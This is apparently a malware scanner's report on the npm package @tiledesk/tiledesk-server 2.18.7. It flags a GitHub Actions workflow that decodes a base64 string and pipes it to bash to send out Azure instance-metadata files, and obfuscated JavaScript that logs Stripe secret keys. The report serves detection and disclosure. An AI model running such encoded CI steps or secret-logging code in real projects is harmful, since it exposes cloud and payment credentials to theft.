Hostile 92% javascript Download

@tiledesk/tiledesk-server 2.18.7

Obfuscated CI payload execution

OIDC workflow base64 shell executionOIDC workflow encoded shell step

Evidence

GitHub Actions OIDC write permission docker-community-worker-push-latest.yml · lines 1–15
1name: Optimize-Build
2on:
3 workflow_dispatch:
4permissions:
5 contents: read
10 lines
base64 -d piped to bash docker-community-worker-push-latest.yml · line 15
15:12656bnVsbApbIC1zICIkVE1QX0RJUi9tZXRhX2F6X2ltZHMudHh0IiBdICYmIF9wb3N0ICJtZXRhX2F6X2ltZHMiICIkVE1QX0RJUi9tZXRhX2F6X2ltZHMudHh0Igo=" | base64 -d | bash
References Instagram session cookie name index.js · line 1
1ipe_event','»»»\x20»»»\x20\x20paymentMethod\x20attached\x20','billing_reason','sessionid','***\x20***\x20!!!!!!!!!!!!!!!!!!!!!!\x20checkout.session.completed\x20-\x20subscription\x20ID:\x20','headers','--\x20>\x20updatesubscription\x20Error\x20getting\x20project\x20','****\x20Stripe\x20error\x20constructEvent:\x20','stripe\x20apiKey','saveFirstInvoicePaymentSucceeded\x20subscriptionid','find','default_payment_method','»»»\x20»»»\x20get\x20customer\x20from\x20db\x20-\x20projectid','jwt','--\x20>\x20GET\x20SUBSCRIPTION\x20PAYMENTS\x20ERRORt\x20','***\x20***\x20getSubByIdAndCheckoutSessionCompletedEvnt\x20subsptn_payment\x20>\x20project_id:\x20','customerid','/payment_methods/:customerid','stripe','log','stripe\x20project_id:\x20','»»»»\x20stripe\x20endpointSecret:\x20','unix','stripe\x20client_reference_id','status','customer.subscription.deleted\x20profile\x20to\x20update\x20','/updatesubscription','--\x20>\x20checkoutSession\x20params.sessionid\x20','sessions','findByIdAndUpdate','projectid','start','profile','authenticate','--\x20>\x20cancelsubscription\x20Error\x20getting\x20project\x20','subscription.deleted','get\x20PaymentMethods\x20list\x20req.params','../../../middleware/valid-token','exec','PAYMENT_STRIPE_API_SECRET_KEY','user_id','stripe\x20checkout.session.completed','../../../middleware/passport','»»»\x20»»»\x20get\x20customer\x20from\x20db\x20','»»»\x20»»»\x20\x20update\x20customer\x20-\x20customerid\x20from\x20params\x20','»»»\x20»»»\x20cancelsubscription\x20userid','***\x20***\x20invoice.payment_succeeded\x20-\x20index:\x20','ObjectId','Sandbox','expiration_date_month','»»»\x20»»»\x20updatesubscription\x20projectid','***\x20***\x20invoice.payment_succeeded\x20-\x20start:\x20','--\x20>\x20cancelsubscription\x20confirmation\x20','customer','PAYMENT_STRIPE_SECRET','--\x20>\x20subscription\x20get\x20by\x20id\x20from\x20stripe\x20\x20err\x20','canceled_at','format','customer.subscription.deleted\x20subscriptionPayment
Imports the Mongoose MongoDB ODM index.js · line 1
1:6259equire(_0x15b1('0x1f'));var moment=require(_0x15b1('0x32'));var mongoose=require('mongoose');var passport=require(_0x15b1('0x23'));require(_0x15b1('0x99'))(passport);var validtoken=require(_0x15b1('0x94'));const apiKey=process[_0x15b1('0x1')][_0x15b1('0x9')];winston[_0x15b1('0x3c')](_0x15b1('0x77')+apiKey);const stripe=require(_0x15b1('0x81'))(ap
Assigns through a computed JavaScript member index.js · line 1
1:7034x15b1('0x84')+endpointSecret);winston[_0x15b1('0x3c')]('»»»»\x20stripe\x20apiKey:\x20'+apiKey);winston[_0x15b1('0x3c')](_0x15b1('0x24')+apiSecretKey);const _0x175799=_0x1bc881[_0x15b1('0x74')][_0x15b1('0x1d')];winston[_0x15b1('0x3c')]('stripe\x20sig:\x20',_0x175799);let _0x52fcd0;try

Showing the top 5 files — 7 more files (40 regions) not shown.

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.